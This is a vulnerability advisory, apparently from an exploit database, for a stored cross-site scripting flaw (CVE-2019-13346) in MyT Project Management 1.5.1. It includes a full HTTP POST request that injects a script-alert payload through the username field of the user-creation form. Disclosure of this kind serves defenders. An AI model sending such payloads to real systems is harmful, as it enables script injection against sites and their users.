MyT Project Management 1.5.1 User[username] Persistent Cross-Site Scripting

Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: MyT Project Management - User[username] Stored Cross Site Scripting # Exploit Author: Metin Yunus Kandemir (kandemir) # Vendor Homepage: # Software Link: # Version: 1.5.1 # Category: Webapps # Tested on: Xampp for Windows # Software Description : MyT is an extremely powerful project management tool, and it's easy to use for both administrators and end-users with a really intuitive structure. # CVE : CVE-2019-13346 ================================================================== #Description: "User[username]" parameter has a xss vulnerability. Malicious code is being written to database while user is creating process. #to exploit vulnerability,add user that setting username as "<sCript>alert("XSS")</sCript>" malicious code. POST /myt-1.5.1/user/create HTTP/1.1 Host: target User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://target/myt-1.5.1/user/create Content-Type: multipart/form-data; boundary=---------------------------1016442643560510919154680312 Content-Length: 3921 Cookie: PHPSESSID=bp16alfk843c4qll0ejq302b2j Connection: close Upgrade-Insecure-Requests: 1 -----------------------------1016442643560510919154680312 Content-Disposition: form-data; name="User[username]" <sCript>alert("XSS")</sCript> -----------------------------1016442643560510919154680312 Content-Disposition: form-data; name="User[password]" 12345 -----------------------------1016442643560510919154680312 Content-Disposition: form-data; name="User[password_confirm]" 12345 -----------------------------1016442643560510919154680312 Content-Disposition: form-data; name="User[email]" -----------------------------1016442643560510919154680312 Content-Disposition: form-data; name="User[name]" -----------------------------1016442643560510919154680312 Content-Disposition: form-data; name="User[surname]" . ..snip ..snip .

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